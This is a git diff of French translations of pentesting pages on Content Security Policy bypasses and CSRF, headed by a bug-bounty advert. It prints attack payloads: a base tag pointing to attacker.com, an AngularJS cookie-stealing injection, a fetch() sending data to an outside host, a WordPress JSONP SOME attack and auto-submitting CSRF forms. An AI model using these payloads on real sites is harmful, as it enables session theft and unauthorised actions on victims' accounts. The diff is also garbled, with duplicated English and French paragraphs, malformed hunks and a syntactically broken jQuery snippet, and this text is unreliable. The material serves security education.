 Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
 [**Inscrivez-vous sur HackenProof**](https://hackenproof.com/register) et commencez à gagner grâce à vos piratages !
@ -148,20 +148,18 @@ Payloads de travail:
 Lorsque vous effectuez un test de pénétration sur une application Web, il est courant de rencontrer une politique de sécurité du contenu (CSP) qui restreint les sources autorisées pour les ressources chargées par l'application. Cela peut inclure des restrictions sur les scripts, les images, les polices, etc.
-Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les requêtes vers des domaines tiers.
+Une directive CSP courante est `default-src 'self'`, qui permet uniquement le chargement de ressources provenant du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers, car le navigateur bloque les tentatives de chargement de fichiers provenant d'autres domaines.
-Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier vers un service tiers, puis récupérer l'URL de téléchargement à partir de ce service et la fournir à l'utilisateur.
+Cependant, il existe une technique pour contourner cette restriction lors du téléchargement de fichiers. Vous pouvez utiliser une faille de type "leak" pour envoyer le fichier à un service tiers, puis récupérer le lien de téléchargement de ce service tiers et le fournir à l'utilisateur.
 Voici comment cela fonctionne :
-1. L'application Web permet à l'utilisateur de télécharger un fichier.
+1. L'application Web permet aux utilisateurs de télécharger des fichiers.
-2. Au lieu d'envoyer directement le fichier vers le serveur de l'application, vous l'envoyez vers un service tiers (par exemple, un service de stockage en ligne).
+2. Lorsqu'un utilisateur télécharge un fichier, l'application envoie le fichier à un service tiers (par exemple, un service de stockage en ligne).
-3. Une fois le fichier téléchargé sur le service tiers, vous récupérez l'URL de téléchargement générée par le service.
+3. Le service tiers génère un lien de téléchargement pour le fichier.
-4. Vous fournissez cette URL à l'utilisateur, qui peut alors télécharger le fichier en cliquant dessus.
+4. L'application récupère le lien de téléchargement du service tiers et le fournit à l'utilisateur.
-De cette façon, vous contournez la restriction CSP "default-src 'self'" en utilisant un service tiers pour héberger le fichier et en fournissant simplement l'URL de téléchargement à l'utilisateur.
+De cette façon, le fichier est téléchargé à partir du service tiers, contournant ainsi la restriction CSP. Cependant, il est important de noter que cette technique peut présenter des risques de sécurité, notamment en ce qui concerne la confidentialité des données téléchargées.
 Il est important de noter que cette technique ne fonctionnera que si le service tiers utilisé n'est pas bloqué par la politique CSP de l'application. Vous devrez donc trouver un service tiers qui n'est pas restreint par la CSP de l'application cible.
 ```yaml
 Content-Security-Policy: script-src 'self';  object-src 'none' ;
 ```
@ -264,15 +262,15 @@ ng-init="c.init()"
 ```
 ### Points de terminaison tiers + JSONP
-JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources de contenu autorisées à être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu potentiellement dangereuses.
+JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu autorisées.
-Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, l'accès aux données peut être bloqué. C'est là que JSONP entre en jeu.
+Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, il est possible d'utiliser JSONP pour contourner cette restriction.
-JSONP fonctionne en exploitant une fonction de rappel JavaScript pour charger les données JSON à partir d'un point de terminaison tiers. Au lieu de charger directement les données JSON, une balise de script est utilisée pour appeler une fonction de rappel spécifiée par l'application web. Le point de terminaison tiers enveloppe les données JSON dans cette fonction de rappel, ce qui permet à l'application web de les récupérer.
+JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Le script ajouté à la page web exécute ensuite cette fonction de rappel, permettant ainsi d'accéder aux données JSON.
-Pour contourner la CSP, l'application web peut spécifier une fonction de rappel qui est autorisée par la CSP. De cette façon, même si le point de terminaison tiers n'est pas autorisé, l'application web peut toujours récupérer les données JSON en utilisant la fonction de rappel autorisée.
+Pour exploiter cette vulnérabilité, un attaquant peut utiliser une injection de code JavaScript pour ajouter un script malveillant à la page web. Ce script malveillant peut alors charger des données JSON à partir d'un point de terminaison tiers non autorisé par la CSP, contournant ainsi les restrictions de sécurité.
-Cependant, il convient de noter que l'utilisation de JSONP présente des risques de sécurité potentiels, notamment l'exposition à des attaques de type XSS si les données JSON ne sont pas correctement filtrées. Par conséquent, il est important de mettre en place des mesures de sécurité appropriées lors de l'utilisation de JSONP pour contourner la CSP.
+Il est important de noter que JSONP présente des risques de sécurité, car il peut être utilisé pour exécuter du code malveillant sur le navigateur de l'utilisateur. Par conséquent, il est recommandé de ne pas utiliser JSONP et de préférer des méthodes plus sécurisées pour accéder à des ressources tierces, telles que l'utilisation de l'API Fetch avec des en-têtes CORS appropriés.
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
@ -305,9 +303,9 @@ Exemple en ligne : [ ](https://jsbin.com/werevijewa/edit?html,output)[https://js
 ### **base-uri** manquant
-Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage suspendu**](../dangling-markup-html-scriptless-injection.md).
+Si la directive **base-uri** est manquante, vous pouvez l'exploiter pour effectuer une [**injection de balisage suspendu**](../dangling-markup-html-scriptless-injection/).
-De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS**.\
+De plus, si la **page charge un script en utilisant un chemin relatif** (comme `/js/app.js`) en utilisant un **Nonce**, vous pouvez exploiter la **balise base** pour le faire **charger** le script depuis **votre propre serveur et réaliser une XSS.**\
 Si la page vulnérable est chargée avec **httpS**, utilisez une URL httpS dans la balise base.
 ```html
 <base href="https://www.attacker.com/">
@ -319,7 +317,7 @@ Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cep
 <input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
 ?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
 ```
-**Trouver d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+**Trouvez d'autres contournements Angular dans** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 ### AngularJS et domaine autorisé
 ```
@ -339,7 +337,7 @@ D'autres points d'exécution arbitraire JSONP peuvent être trouvés [**ici**](h
 ### Contourner CSP avec du balisage suspendu
-Lisez [comment ici](../dangling-markup-html-scriptless-injection.md).
+Lisez [comment ici](../dangling-markup-html-scriptless-injection/).
 ### 'unsafe-inline'; img-src \*; via XSS
 ```
@ -353,7 +351,7 @@ Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans
 ```
 De: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
-Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **créer** une **image spéciale**, la **télécharger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'image, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Vous pouvez également abuser de cette configuration pour **charger du code JavaScript inséré à l'intérieur d'une image**. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez **créer** une **image spéciale**, la **télécharger** sur Twitter et abuser de l'option "**unsafe-inline**" pour **exécuter** un code JS (comme une XSS classique) qui va **charger** l'**image**, **extraire** le **JS** de celle-ci et **l'exécuter** : [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 ### Avec les Service Workers
@ -448,13 +446,13 @@ run();
 ```
 ### Via Bookmarklets
-Cette attaque impliquerait une certaine ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons.
+Cette attaque impliquerait une ingénierie sociale où l'attaquant **convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur**. Ce bookmarklet contiendrait du **code JavaScript malveillant** qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre Web actuelle, **contournant la CSP et permettant de voler des informations sensibles** telles que les cookies ou les jetons.
 Pour plus d'informations, [**consultez le rapport original ici**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 ### Contournement de la CSP en restreignant la CSP
-Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **dom clobbering**, permet de **utiliser un script différent pour charger un script arbitraire**.
+Dans [**ce compte rendu de CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), la CSP est contournée en injectant dans un iframe autorisé une CSP plus restrictive qui interdit le chargement d'un fichier JS spécifique qui, ensuite, via une **pollution de prototype** ou un **écrasement de DOM**, permet d'**exploiter un script différent pour charger un script arbitraire**.
 Vous pouvez **restreindre une CSP d'un iframe** avec l'attribut **`csp`**:
@ -537,7 +535,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 ```
 ### SOME + 'self' + wordpress
-SOME est une technique qui exploite une XSS (ou une XSS très limitée) **dans un point d'extrémité d'une page** pour **exploiter** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez exploiter. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à exploiter**. Pour plus d'informations, consultez :
+SOME est une technique qui abuse d'une XSS (ou d'une XSS très limitée) **dans un point d'extrémité d'une page** pour **abuser** **d'autres points d'extrémité de la même origine.** Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez abuser. De cette façon, le **point d'extrémité vulnérable** peut utiliser l'objet **`opener`** dans la **charge utile** pour **accéder au DOM** du **point d'extrémité réel à abuser**. Pour plus d'informations, consultez :
 {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %}
 [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md)
@ -545,7 +543,7 @@ SOME est une technique qui exploite une XSS (ou une XSS très limitée) **dans u
 De plus, **wordpress** dispose d'un point d'extrémité **JSONP** dans `/wp-json/wp/v2/users/1?_jsonp=data` qui **reflète** les **données** envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).
-Un attaquant peut exploiter ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut exploiter l'**attaque SOME** via le point d'extrémité de **rappel** **vulnérable** qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
+Un attaquant peut abuser de ce point d'extrémité pour **générer une attaque SOME** contre WordPress et **l'intégrer** dans `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` notez que ce **script** sera **chargé** car il est **autorisé par 'self'**. De plus, et parce que WordPress est installé, un attaquant peut abuser de l'**attaque SOME** via le point d'extrémité de **rappel** vulnérable qui **contourne la CSP** pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin...
 Pour plus d'informations sur la façon d'effectuer cette attaque, consultez [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 ## Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration
--- a/pentesting-web/csrf-cross-site-request-forgery.md
+++ b/pentesting-web/csrf-cross-site-request-forgery.md
@ -36,7 +36,7 @@ Cela est réalisé en **faisant accéder un utilisateur connecté** sur la plate
 ### Prérequis
-Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à exploiter** (changer de mot de passe ou d'adresse e-mail, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La **session doit reposer uniquement sur les cookies ou l'en-tête d'authentification de base HTTP**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne doit pas y avoir de **paramètres imprévisibles** dans la requête.
+Pour pouvoir exploiter une vulnérabilité CSRF, vous devez d'abord **trouver une action pertinente à exploiter** (changer le mot de passe ou l'adresse e-mail, faire en sorte que la victime vous suive sur un réseau social, vous donner plus de privilèges...). La **session doit reposer uniquement sur les cookies ou l'en-tête d'authentification de base HTTP**, aucun autre en-tête ne peut être utilisé pour gérer la session. Enfin, il ne doit pas y avoir de **paramètres imprévisibles** dans la requête.
 Plusieurs **contre-mesures** peuvent être mises en place pour éviter cette vulnérabilité.
@ -138,7 +138,7 @@ form.submit();
 </body>
 </html>
 ```
-### Contournement de la requête de pré-vérification pour `application/json`
+### Contournement de la requête de pré-vérification pour application/json
 Comme vous le savez déjà, vous ne pouvez pas envoyer une requête POST avec le Content-Type **`application/json`** via un formulaire HTML, et si vous essayez de le faire via **`XMLHttpRequest`**, une requête de pré-vérification est envoyée en premier.\
 Cependant, vous pouvez essayer d'envoyer les données JSON en utilisant les types de contenu **`text/plain`** et **`application/x-www-form-urlencoded`** juste pour vérifier si le backend utilise les données indépendamment du Content-Type.\
@ -191,7 +191,7 @@ Par conséquent, si une requête GET est limitée, vous pouvez simplement **envo
 ### **Exfiltration du jeton CSRF**
-Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection.md).
+Si un **jeton CSRF** est utilisé comme **défense**, vous pouvez essayer de **l'exfiltrer** en exploitant une vulnérabilité [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) ou une vulnérabilité [**Dangling Markup**](dangling-markup-html-scriptless-injection/).
 ### **GET en utilisant des balises HTML**
 ```markup
@ -221,37 +221,9 @@ document.forms[0].submit();
 ```
 ### Requête POST de formulaire
-A common method used by web applications to send data to the server is through a form POST request. This type of request is commonly used for actions such as submitting a login form, creating a new user account, or updating user information.
+A common method used by web applications to send data to the server is through a form POST request. This type of request is commonly used for actions such as submitting a login form or submitting a contact form.
-Une méthode couramment utilisée par les applications web pour envoyer des données au serveur est la requête POST de formulaire. Ce type de requête est généralement utilisé pour des actions telles que la soumission d'un formulaire de connexion, la création d'un nouveau compte utilisateur ou la mise à jour des informations utilisateur.
+Une méthode couramment utilisée par les applications web pour envoyer des données au serveur est la requête POST de formulaire. Ce type de requête est généralement utilisé pour des actions telles que la soumission d'un formulaire de connexion ou la soumission d'un formulaire de contact.
 To send a form POST request, the web application constructs an HTML form with input fields for the desired data. When the user submits the form, the browser sends a POST request to the server with the form data as the request body.
 Pour envoyer une requête POST de formulaire, l'application web construit un formulaire HTML avec des champs de saisie pour les données souhaitées. Lorsque l'utilisateur soumet le formulaire, le navigateur envoie une requête POST au serveur avec les données du formulaire en tant que corps de la requête.
 The server then processes the request and performs the necessary actions based on the submitted data. It is important to note that the server trusts the request because it assumes that the request is legitimate and initiated by the user.
 Le serveur traite ensuite la requête et effectue les actions nécessaires en fonction des données soumises. Il est important de noter que le serveur fait confiance à la requête car il suppose que la requête est légitime et initiée par l'utilisateur.
 ### Cross-Site Request Forgery (CSRF)
 ### Cross-Site Request Forgery (CSRF) (Falsification de requête intersite)
 Cross-Site Request Forgery (CSRF) is an attack that exploits the trust between a web application and its users. In a CSRF attack, an attacker tricks a victim into performing an unwanted action on a web application in which the victim is authenticated.
 La falsification de requête intersite (CSRF) est une attaque qui exploite la confiance entre une application web et ses utilisateurs. Dans une attaque CSRF, un attaquant trompe une victime pour qu'elle effectue une action indésirable sur une application web sur laquelle la victime est authentifiée.
 The attack works by crafting a malicious web page or email that contains a request to the target web application. When the victim visits the malicious page or clicks on the malicious link, their browser automatically sends the request to the target application, performing the unwanted action on behalf of the victim.
 L'attaque fonctionne en créant une page web ou un e-mail malveillant contenant une requête vers l'application web cible. Lorsque la victime visite la page malveillante ou clique sur le lien malveillant, son navigateur envoie automatiquement la requête à l'application cible, effectuant ainsi l'action indésirable au nom de la victime.
 To protect against CSRF attacks, web applications can implement countermeasures such as using anti-CSRF tokens. These tokens are unique values generated by the server and included in the HTML form. When the form is submitted, the server verifies that the token is valid, ensuring that the request is legitimate and not a result of a CSRF attack.
 Pour se protéger contre les attaques CSRF, les applications web peuvent mettre en place des contre-mesures telles que l'utilisation de jetons anti-CSRF. Ces jetons sont des valeurs uniques générées par le serveur et incluses dans le formulaire HTML. Lorsque le formulaire est soumis, le serveur vérifie que le jeton est valide, garantissant ainsi que la requête est légitime et qu'il ne s'agit pas d'une attaque CSRF.
 By implementing proper CSRF protection mechanisms, web applications can prevent attackers from exploiting the trust between the application and its users, ensuring the security and integrity of user actions.
 En mettant en place des mécanismes de protection CSRF appropriés, les applications web peuvent empêcher les attaquants d'exploiter la confiance entre l'application et ses utilisateurs, garantissant ainsi la sécurité et l'intégrité des actions des utilisateurs.
 ```markup
 <html>
 <body>
@ -271,19 +243,19 @@ document.forms[0].submit(); //Way 3 to autosubmit
 One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a vulnerable website.
-Une technique couramment utilisée dans les attaques de falsification de requêtes intersites (CSRF) consiste à soumettre un formulaire via un iframe. Cette technique permet à un attaquant de tromper un utilisateur en lui faisant soumettre un formulaire sur un site vulnérable sans qu'il le sache.
+To perform this attack, the attacker first creates a malicious webpage that contains an iframe pointing to the target website's form. The attacker then lures the victim into visiting the malicious webpage.
-To perform this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form. The form is pre-filled with the desired values, and JavaScript is used to automatically submit the form when the iframe loads.
+When the victim visits the malicious webpage, the iframe automatically submits the form on the target website, using the victim's authenticated session. Since the victim is already logged in to the target website, the form submission appears legitimate.
-Pour effectuer cette attaque, l'attaquant crée une page web malveillante contenant un iframe pointant vers le formulaire du site cible. Le formulaire est pré-rempli avec les valeurs souhaitées, et JavaScript est utilisé pour soumettre automatiquement le formulaire lorsque l'iframe se charge.
+This technique can be particularly effective when combined with social engineering tactics, such as sending the victim a link to the malicious webpage via email or a messaging platform.
-When the victim visits the malicious webpage, the iframe loads the target website's form and submits it without the victim's knowledge. This allows the attacker to perform actions on behalf of the victim, such as changing their password or making unauthorized transactions.
+To protect against this type of attack, web developers should implement measures such as:
-Lorsque la victime visite la page web malveillante, l'iframe charge le formulaire du site cible et le soumet sans que la victime le sache. Cela permet à l'attaquant d'effectuer des actions au nom de la victime, telles que changer son mot de passe ou effectuer des transactions non autorisées.
+- Implementing anti-CSRF tokens: By including a unique token in each form, developers can ensure that the form submission originated from their website and not from an external source.
 - Implementing SameSite cookies: By setting the SameSite attribute to "Strict" or "Lax" for cookies, developers can prevent them from being sent in cross-origin requests, effectively mitigating CSRF attacks.
 - Implementing strict referrer policies: By setting the referrer policy to "strict-origin-when-cross-origin" or "same-origin", developers can control how much information is included in the Referer header, reducing the risk of CSRF attacks.
-To protect against this type of attack, websites should implement measures such as using anti-CSRF tokens, validating the referrer header, and implementing strict access controls.
+By implementing these security measures, web developers can significantly reduce the risk of CSRF attacks through form POST requests via iframes.
 Pour se protéger contre ce type d'attaque, les sites web doivent mettre en place des mesures telles que l'utilisation de jetons anti-CSRF, la validation de l'en-tête referrer et la mise en place de contrôles d'accès stricts.
 ```markup
 <!--
 The request is sent through the iframe withuot reloading the page
@ -303,47 +275,27 @@ document.forms[0].submit();
 ```
 ### **Requête POST Ajax**
-An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. It allows the web page to send data to the server and receive a response without having to reload the entire page.
+An Ajax POST request is a type of HTTP request that is sent asynchronously from a web page to a server using the Ajax technology. It allows the web page to update its content dynamically without having to reload the entire page.
-Une requête POST Ajax est un type de requête HTTP qui est envoyée de manière asynchrone depuis une page web vers un serveur en utilisant la technologie Ajax. Elle permet à la page web d'envoyer des données au serveur et de recevoir une réponse sans avoir à recharger la page entière.
+Une requête POST Ajax est un type de requête HTTP qui est envoyée de manière asynchrone depuis une page web vers un serveur en utilisant la technologie Ajax. Cela permet à la page web de mettre à jour son contenu de manière dynamique sans avoir à recharger la page entière.
 ```javascript
 $.ajax({
-    url: '/api/endpoint',
+    url: '/update',
    type: 'POST',
-    data: {
+    data: { name: 'John', age: 30 },
        param1: 'value1',
        param2: 'value2'
    },
    success: function(response) {
-        console.log(response);
+        console.log('Update successful');
    },
-    error: function(error) {
+    error: function(xhr, status, error) {
-        console.log(error);
+        console.log('Update failed');
    }
 });
 ```
-```javascript
+The above code snippet demonstrates an example of an Ajax POST request using jQuery. It sends a POST request to the '/update' endpoint with the data object containing the name and age parameters. If the request is successful, the 'success' callback function is executed, otherwise, the 'error' callback function is executed.
 $.ajax({
    url: '/api/endpoint',
    type: 'POST',
    data: {
        param1: 'valeur1',
        param2: 'valeur2'
    },
    success: function(response) {
        console.log(response);
    },
    error: function(error) {
        console.log(error);
    }
 });
 ```
-In the example above, an Ajax POST request is made to the `/api/endpoint` URL with two parameters (`param1` and `param2`) and their corresponding values (`value1` and `value2`). The `success` function is called when the request is successful and the `error` function is called when an error occurs.
+Le code ci-dessus montre un exemple de requête POST Ajax utilisant jQuery. Il envoie une requête POST vers l'endpoint '/update' avec l'objet de données contenant les paramètres name et age. Si la requête est réussie, la fonction de rappel 'success' est exécutée, sinon, la fonction de rappel 'error' est exécutée.
 Dans l'exemple ci-dessus, une requête POST Ajax est effectuée vers l'URL `/api/endpoint` avec deux paramètres (`param1` et `param2`) et leurs valeurs correspondantes (`valeur1` et `valeur2`). La fonction `success` est appelée lorsque la requête est réussie et la fonction `error` est appelée en cas d'erreur.
 ```markup
 <script>
 var xh;
@ -372,17 +324,17 @@ data: "param=value&param2=value2"
 ```
 ### Requête POST multipart/form-data
-When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require file uploads or other binary data. In such scenarios, the `multipart/form-data` content type is used.
+When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` format. However, in some cases, the form may require the use of the `multipart/form-data` format. This format is commonly used when uploading files or when the form contains binary data.
-Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées en utilisant le type de contenu `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter des téléchargements de fichiers ou d'autres données binaires. Dans de tels scénarios, le type de contenu `multipart/form-data` est utilisé.
+Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées au format `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter l'utilisation du format `multipart/form-data`. Ce format est couramment utilisé lors du téléchargement de fichiers ou lorsque le formulaire contient des données binaires.
-To craft a `multipart/form-data` POST request, the request body is divided into multiple parts, each containing a separate piece of data. Each part is identified by a unique boundary string, which is specified in the `Content-Type` header.
+To craft a `multipart/form-data` POST request, you need to include a `Content-Type` header with the value `multipart/form-data`. Additionally, the request body should be formatted as a series of parts, each representing a form field or file upload.
-Pour créer une requête POST `multipart/form-data`, le corps de la requête est divisé en plusieurs parties, chacune contenant une donnée distincte. Chaque partie est identifiée par une chaîne de délimitation unique, qui est spécifiée dans l'en-tête `Content-Type`.
+Pour créer une requête POST `multipart/form-data`, vous devez inclure un en-tête `Content-Type` avec la valeur `multipart/form-data`. De plus, le corps de la requête doit être formaté comme une série de parties, représentant chacune un champ de formulaire ou un téléchargement de fichier.
-Each part consists of a header and a body. The header contains metadata about the part, such as the name of the form field or the filename of the uploaded file. The body contains the actual data.
+Each part consists of a set of headers and a body. The headers specify the name of the form field or file, as well as the content type. The body contains the actual data.
-Chaque partie est composée d'un en-tête et d'un corps. L'en-tête contient des métadonnées sur la partie, telles que le nom du champ de formulaire ou le nom du fichier téléchargé. Le corps contient les données réelles.
+Chaque partie est composée d'un ensemble d'en-têtes et d'un corps. Les en-têtes spécifient le nom du champ de formulaire ou du fichier, ainsi que le type de contenu. Le corps contient les données réelles.
 Here is an example of a `multipart/form-data` POST request:
@ -396,7 +348,7 @@ Content-Type: multipart/form-data; boundary=---------------------------123456789
 -----------------------------1234567890
 Content-Disposition: form-data; name="username"
-john.doe
+JohnDoe
 -----------------------------1234567890
 Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
 Content-Type: image/jpeg
@ -405,13 +357,13 @@ Content-Type: image/jpeg
 -----------------------------1234567890--
 ```
-In this example, the request body is divided into two parts. The first part contains the value of the `username` form field, while the second part contains the uploaded `profile_picture` file.
+In this example, the request is being sent to `example.com` with a path of `/upload`. The request body consists of two parts: one for the `username` form field and another for the `profile_picture` file upload. The `Content-Disposition` header specifies the name of each part, and the `Content-Type` header specifies the type of content.
-Dans cet exemple, le corps de la requête est divisé en deux parties. La première partie contient la valeur du champ de formulaire `username`, tandis que la deuxième partie contient le fichier téléchargé `profile_picture`.
+Dans cet exemple, la requête est envoyée à `example.com` avec un chemin `/upload`. Le corps de la requête est composé de deux parties : une pour le champ de formulaire `username` et une autre pour le téléchargement du fichier `profile_picture`. L'en-tête `Content-Disposition` spécifie le nom de chaque partie, et l'en-tête `Content-Type` spécifie le type de contenu.
-When performing security testing or penetration testing, it is important to understand how to construct and manipulate `multipart/form-data` requests, as they are commonly used in web applications.
+By understanding how to craft a `multipart/form-data` POST request, you can effectively interact with web forms that require this format.
-Lors de tests de sécurité ou de tests de pénétration, il est important de comprendre comment construire et manipuler des requêtes `multipart/form-data`, car elles sont couramment utilisées dans les applications web.
+En comprenant comment créer une requête POST `multipart/form-data`, vous pouvez interagir efficacement avec des formulaires web qui nécessitent ce format.
 ```javascript
 myFormData = new FormData();
 var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
@ -446,45 +398,45 @@ Pour exploiter le CSRF en utilisant une requête POST multipart/form-data, suive
 1. Identifier le site cible : Choisissez le site web sur lequel vous souhaitez effectuer l'attaque CSRF.
-2. Identify the target endpoint: Find the specific endpoint or URL where the action you want to perform is triggered.
+2. Identify the target endpoint: Identify the specific endpoint or URL where the action you want to perform is triggered.
-2. Identifier le point d'extrémité cible : Trouvez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
+2. Identifier le point d'extrémité cible : Identifiez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
-3. Create a malicious HTML page: Craft an HTML page that contains a form with the necessary fields to perform the action on the target website.
+3. Craft the malicious HTML page: Create an HTML page that contains a form with the necessary fields to perform the action on the target website.
-3. Créer une page HTML malveillante : Concevez une page HTML qui contient un formulaire avec les champs nécessaires pour effectuer l'action sur le site web cible.
+3. Créer la page HTML malveillante : Créez une page HTML qui contient un formulaire avec les champs nécessaires pour effectuer l'action sur le site web cible.
-4. Set the form's action attribute to the target endpoint: Ensure that the form's action attribute points to the target endpoint.
+4. Set the form's action attribute to the target endpoint: In the form's HTML code, set the action attribute to the URL of the target endpoint.
-4. Définir l'attribut action du formulaire sur le point d'extrémité cible : Assurez-vous que l'attribut action du formulaire pointe vers le point d'extrémité cible.
+4. Définir l'attribut action du formulaire sur le point d'extrémité cible : Dans le code HTML du formulaire, définissez l'attribut action sur l'URL du point d'extrémité cible.
-5. Set the form's method attribute to POST: Specify that the form should be submitted using the POST method.
+5. Set the form's method attribute to POST: In the form's HTML code, set the method attribute to POST.
-5. Définir l'attribut method du formulaire sur POST : Spécifiez que le formulaire doit être soumis en utilisant la méthode POST.
+5. Définir l'attribut method du formulaire sur POST : Dans le code HTML du formulaire, définissez l'attribut method sur POST.
-6. Set the form's enctype attribute to multipart/form-data: Indicate that the form data should be encoded as multipart/form-data.
+6. Set the form's enctype attribute to multipart/form-data: In the form's HTML code, set the enctype attribute to multipart/form-data.
-6. Définir l'attribut enctype du formulaire sur multipart/form-data : Indiquez que les données du formulaire doivent être encodées en multipart/form-data.
+6. Définir l'attribut enctype du formulaire sur multipart/form-data : Dans le code HTML du formulaire, définissez l'attribut enctype sur multipart/form-data.
